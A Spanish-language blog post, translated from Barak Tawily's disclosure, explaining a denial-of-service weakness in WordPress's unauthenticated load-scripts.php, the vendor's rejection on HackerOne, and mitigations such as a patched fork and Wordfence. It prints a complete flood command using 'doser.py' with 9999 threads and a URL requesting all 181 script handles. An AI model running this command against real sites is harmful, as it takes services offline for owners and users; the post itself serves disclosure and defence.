Ataque al 29% de los sitios web fácilmente usando DDoS y WordPress

Ataque al 29% de los sitios web fácilmente usando DDoS y WordPress

Según WordPress.com, CMS impulsa el 29% de los sitios web en la web.

En este artículo, explicaré cómo los ataques de denegación de servicio (DDoS) pueden afectar a casi cualquier sitio de WordPress en línea y cómo puede “parchear” su sitio de WordPress para evitar que se aproveche esta vulnerabilidad.

Tenga en cuenta que explotar esta vulnerabilidad es ilegal, a menos que tenga permiso del propietario del sitio.

Aquí está la falla de seguridad que puede sobrecargar casi cualquier sitio de WordPress

Mientras navegaba por un sitio de WordPress, me llamó la atención esta URL:

https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

El archivo load-scripts.php recibe un parámetro llamado load[], cuyo valor es ‘jquery-ui-core’. En la respuesta, obtengo el módulo JavaScript ‘jQuery UI Core’ que fue solicitado por la solicitud, como se muestra en la siguiente imagen:

Esta URL obviamente está destinada a entregar ciertos módulos de JavaScript a los usuarios. Agregue a esto que el parámetro de carga[] es una matriz que puede contener múltiples variables de datos, lo que significa que es posible proporcionar una multitud de valores y así obtener una gran cantidad de módulos JavaScript al mismo tiempo, en una única respuesta del servidor.

Dado que WordPress es de código abierto, es fácil verificar esto a través del código para esta función. Esto es lo que hice y entendí que esta función se usa para guardar la cantidad de solicitudes enviadas por el cliente al intentar cargar archivos JS o CSS. Entonces, cuando el navegador necesita cargar varios archivos JS / CSS, utiliza load-scripts.php (para JavaScript) o load-styles.php (para archivos CSS) y el navegador recibe varios archivos JS / CSS. CSS concatenado, a través una sola solicitud: esto es mejor en términos de rendimiento para que la página se cargue más rápido. Debe saber que esta función fue diseñada solo para la parte de administración de WordPress (panel de control, panel de control, backend …). Sin embargo, esto también se usa en la página wp-login.php para la cual no se requiere autenticación para acceder a ella. Por lo tanto, es muy posible cargar estos scripts sin estar conectado al área privada del sitio de WordPress.

Empecé manipulando esta funcionalidad pasando como valor una lista de varios ‘jquery-ui-core’ entre comas, uno tras otro, así:

https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core, jquery-ui-core, jquery-ui-core y ver = 4.9.1

Pensé que podría pedirle al servidor que lea el mismo archivo una y otra vez, que se muestra uno tras otro, pero el uso de la función ‘array_unique’ elimina las copias duplicadas de las matrices, por lo que no funcionó:

Continué explorando el código y encontré algo interesante en el siguiente fragmento … quería echar un vistazo más de cerca a esto:

Esta es una lista bien definida de $ wp_scripts que se pueden solicitar en una solicitud de usuario como el valor del parámetro de carga[]. Si el valor solicitado existe, el servidor realizará una acción de lectura de E / S (Entrada / Entrada, Salida / Salida) para una ruta bien definida, asociada con la solicitud del usuario.

La lista de valores aceptados para wp_scripts está codificada y se define en el archivo script-loader.php:

No hay menos de 181 valores en esta lista:
eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter

Me pregunté esto: ¿qué problema podría surgir si le enviara al servidor una solicitud para devolverme todos los módulos de JavaScript enumerados, sin excepción? Una sola solicitud podría obligar al servidor a realizar 181 lecturas / impresiones (E / S) y entregar el contenido de todos esos archivos en una sola respuesta.

Así que eso es lo que intenté hacer. Envié una solicitud al servidor, así:

Prueba personal Mr WP

El servidor respondió después de 2,2 segundos con casi 4 MB de datos. Esta fue una solicitud muy difícil de procesar para el servidor.

Entonces decidí usar “doser.py”: una herramienta simple que creé para repetir consultas constantemente (sí, lo sé, los hilos de Python están un poco podridos, ¡pero me gusta Python!), Todo esto para causar un ataque DDoS … ¿y adivina qué? Ha funcionado ! 🙂

python doser.py -g 'http://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

Durante la ejecución de mi script, a medida que enviaba solicitudes, el servidor estaba demasiado sobrecargado para manejar cualquier otra solicitud de usuario normal.

De hecho, había causado una denegación de servicio (DDoS).

Recuerde que load-scripts.php no requiere autenticación y que cualquier anónimo puede enviar solicitudes a este script.

Después de aproximadamente 500 solicitudes, el servidor no respondió en absoluto o devolvió códigos de error 502/503/504 como este:

Prueba completa en video:

WordPress es una aplicación de errores generosa, y los he contactado con respecto a este problema, aunque sé que las vulnerabilidades relacionadas con los ataques DDoS están “fuera de alcance”. Les informé de esto a través de HackerOne y les expliqué la vulnerabilidad, quería hacerles saber, en las reglas, que pensaba que había un problema de seguridad real aquí. Después de varios intercambios en los que quería explicarles la situación, con un video de apoyo, se negaron a reconocer que había un problema al afirmar esto:

“Este tipo de cosas debería ser mitigado / atendido por el servidor mismo o en el nivel de la red en lugar del nivel de la aplicación, por lo que esto está más allá del control de WordPress. “

Aunque estaba muy frustrado de que no reconocieran esto como una vulnerabilidad, continué explorando cómo podría reducir las posibles consecuencias de tales ataques. Bifurqué el código fuente de WordPress y creé una versión corregida** donde solo los usuarios autenticados pueden acceder a los archivos load – *. php sin afectar la página wp-login.php o su funcionalidad. Entonces, si está usando WordPress o planea hacerlo en un futuro cercano, le recomiendo usar la versión modificada.

En caso de que tenga un WordPress en una máquina Linux, creé un archivo “bash”** que modifica los archivos afectados para mitigar esta vulnerabilidad.

Por Barak Tawily. Traducción: Mister WordPress.

** Todo esto se puede descargar desde el GitHub de “Quitten” : https://github.com/quitten/ (esto es solo para expertos que saben exactamente lo que están haciendo). Un complemento como Wordfence también puede ayudarlo a protegerse de solicitudes sospechosas realizadas a su servidor de alojamiento de WordPress sin alterar el código fuente original de WordPress (WP core, core).

¡Existe una necesidad real de mantenimiento regular de WordPress y de un alojamiento web confiable, eficiente y seguro!

Para ir más lejos :

Mantenimiento de WordPress y alojamiento seguro

No es necesario que le recuerde que es importante que cualquier usuario de WordPress se beneficie de un alojamiento de sitios web potente y seguro, así como que tenga a mano un especialista experto en WordPress competente para tomar medidas. En caso de falla 😉 Aconsejo no debe buscar un webmaster competente en caso de emergencia. Más vale prevenir que curar.

¡A sus comentarios a continuación! Todas las opiniones nos importan.


Nuestras ofertas comerciales que te pueden interesar :

Deja una respuesta